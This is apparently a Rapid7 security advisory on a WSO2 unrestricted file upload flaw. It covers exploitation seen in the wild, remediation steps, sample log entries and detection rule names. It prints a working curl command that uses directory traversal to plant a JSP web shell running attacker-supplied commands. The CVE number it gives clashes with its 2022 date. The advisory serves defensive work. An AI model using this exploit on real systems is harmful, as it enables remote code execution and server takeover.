Last updated at Fri, 22 Apr 2022 21:04:01 GMT

On April 18, 2022, MITRE published CVE-2002-29464 , an unrestricted file upload vulnerability affecting various WSO2 products. WSO2 followed with a security advisory explaining the vulnerability allowed unauthenticated and remote attackers to execute arbitrary code in the following products:

• API Manager
• Identity Server
• Identity Server Analytics
• Identity Server as Key Manager
• Enterprise Integrator

A technical writeup and proof-of-concept exploit by @hakivvi quickly followed on April 20. The proof of concept uploads a malicious .jsp to /fileupload/toolsAny on the WSO2 product's webserver. The .jsp is a web shell, and due to a directory traversal issue affecting the upload files name, the attacker can write it to a location where they can then send it commands. The attack is not restricted to .jsp files - other researchers, such as our old friend William Vu, have demonstrated exploitation with a war file.

Exploitation is quite easy. The following, modeled after both the original PoC and Vu's, uploads a simple jsp web shell that the attacker will be able to use by visiting https://target:9443/authenticationendpoint/r7.jsp:

echo '<%@ page import="java.io.*" %><% Process p = Runtime.getRuntime().
exec(request.getParameter("cmd"),null,null); %>' | curl -kv -F ../../
../../repository/deployment/server/webapps/authenticationendpoint/r7.
jsp=@- https://10.0.0.20:9443/fileupload/toolsAny

Rapid7's Managed Detection and Response (MDR) team has observed this vulnerability being opportunistically exploited in the wild. Attackers appear to be staying close to the original proof-of-concept exploit and are dropping web shells and coin miners on exploited targets. Victim systems include both Windows and Linux installations of the aforementioned WSO2 products.

Rapid7 recommends remediating this vulnerability immediately per the instructions in WSO2's advisory. If remediation is not possible, remove installations from the publicinternet as soon as possible. Inspect your installation for web shells (.jsp and .class): For example, the original proof of concept will drop the webshell in /authenticationendpoint/ which, when using API Manager on Windows, can be found in C:Program FilesWSO2API Manager3.2.0repositorydeploymentserverwebappsauthenticationendpoint. Additionally, examine the server's http_access log for requests to /fileupload/toolsAny as a possible indication of malicious behavior:

10.0.0.2 - - [22/Apr/2022:15:45:22 -0400] POST /fileupload/toolsAny HTTP/1.1 
200 31 - curl/7.74.0 0.016
10.0.0.2 - - [22/Apr/2022:15:48:46 -0400] POST //fileupload/toolsAny HTTP/1.1 200 31 - python-requests/2.25.1 0.000
10.0.0.2 - - [22/Apr/2022:15:49:13 -0400] POST /fileupload/toolsAny HTTP/1.1 200 32 - python-requests/2.25.1 0.000

Additionally, dropped war files will likely be exploded in the webapps directory (e.g. C:Program FilesWSO2API Manager3.2.0repositorydeploymentserverwebapps). The deployment may create entries such as the following in the wso2carbon log:

TID: [-1234] [r7] [2022-04-22 15:51:32,609]  INFO {org.wso2.carbon.webapp.
mgt.TomcatGenericWebappsDeployer} - Deployed webapp: StandardEngine
[Catalina].StandardHost[localhost].StandardContext[/r7].File[C:PROGRA~1
WSO2APIMAN~132E445~1.0bin..repositorydeploymentserverwebappsr7.war]

Rapid7 InsightIDR customers already have detection rules in place that can identify activity around the exploitation of this vulnerability. Customers should consider reviewing the rule action and priority of the following detection rules. Teams should be ready to investigate any alerts generated from these rules. For Rapid7 MDR customers, the MDR team is monitoring these alerts and will notify you if suspicious activity is detected in your environment.

• Suspicious Process - Python Downloading and Executing Script
• Attacker Technique - URL Passed To BitsAdmin
• Attacker Technique - CertUtil With URLCache Flag
• Attacker Technique - PowerShell Download Cradles

The Rapid7 Threat Detection and Response team also added the following rule to identify malicious activity specifically related to this exploit:

• Suspicious Process - WSO2 Product Launches Suspicious Process (added 2022-04-22 19:19 UTC)

We are actively working on development of a vulnerability check for InsightVM and Nexpose customers and will update this blog with further information as it is available.